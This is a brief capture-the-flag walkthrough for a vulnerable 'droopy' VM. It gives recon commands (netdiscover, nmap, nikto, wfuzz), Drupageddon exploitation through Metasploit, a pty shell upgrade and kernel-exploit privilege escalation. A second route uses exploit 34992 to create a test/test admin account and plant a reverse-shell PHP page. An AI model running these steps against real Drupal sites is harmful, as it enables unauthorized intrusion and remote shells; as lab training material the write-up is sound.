• netdiscover
  • Nmap
  • Wfuzz
  • Nikto
  • Metasploit
  • droopescan


Use netdiscover to detect target IP address

netdiscover -i eth0 -r is the target.

Then run nmap to detect opening ports and running services on the target machine.

nmap -sV -v -O -A -T5 -p-

Only port 80 is opening.

use nikto to scan

nikto -h

No useful info come out.

wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --hc 404 2>/dev/null

still same thing.

check the

Find the target use Drupal

Use Metasploit

in msfconsole, search drupal, find an interesting exploit exploit/multi/http/drupal_drupageddon

msf > use exploit/multi/http/drupal_drupageddon
msf exploit(drupal_drupageddon) > set rhost
msf exploit(drupal_drupageddon) > exploit 

get meterpreter, do command shell to get shell.

use python -c 'import pty; pty.spawn("/bin/bash")' get bash

user is www-data, next try to get root

uname -a

Linux droopy 3.13.0-43-generic #72-Ubuntu SMP Mon Dec 8 19:35:06 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

the kernel is 3.1.30

searchsploit 3.1.30

upload the exploit, compile and run it, get the root:

Another way

use droopescan to scan

droopescan scan drupal -u -t 8

now I know the version is 7.30

searchsploit drupal

find the 34992.txt exploit works.

./34992.py -t -u test -p test

this exploit creates an admin account test/test, then in Modules, make sure the PHP filter is selected.

Also in People -> Permissions, check Use the PHP code text format

In configuration -> Content authoring -> Text formats, need to check administrator box.

Then create a new content (copy and paste reverse shell php code) and use PhP Code in the format, save it, then netcat will get the shell.

Then use same method in the first part of this post to get the root.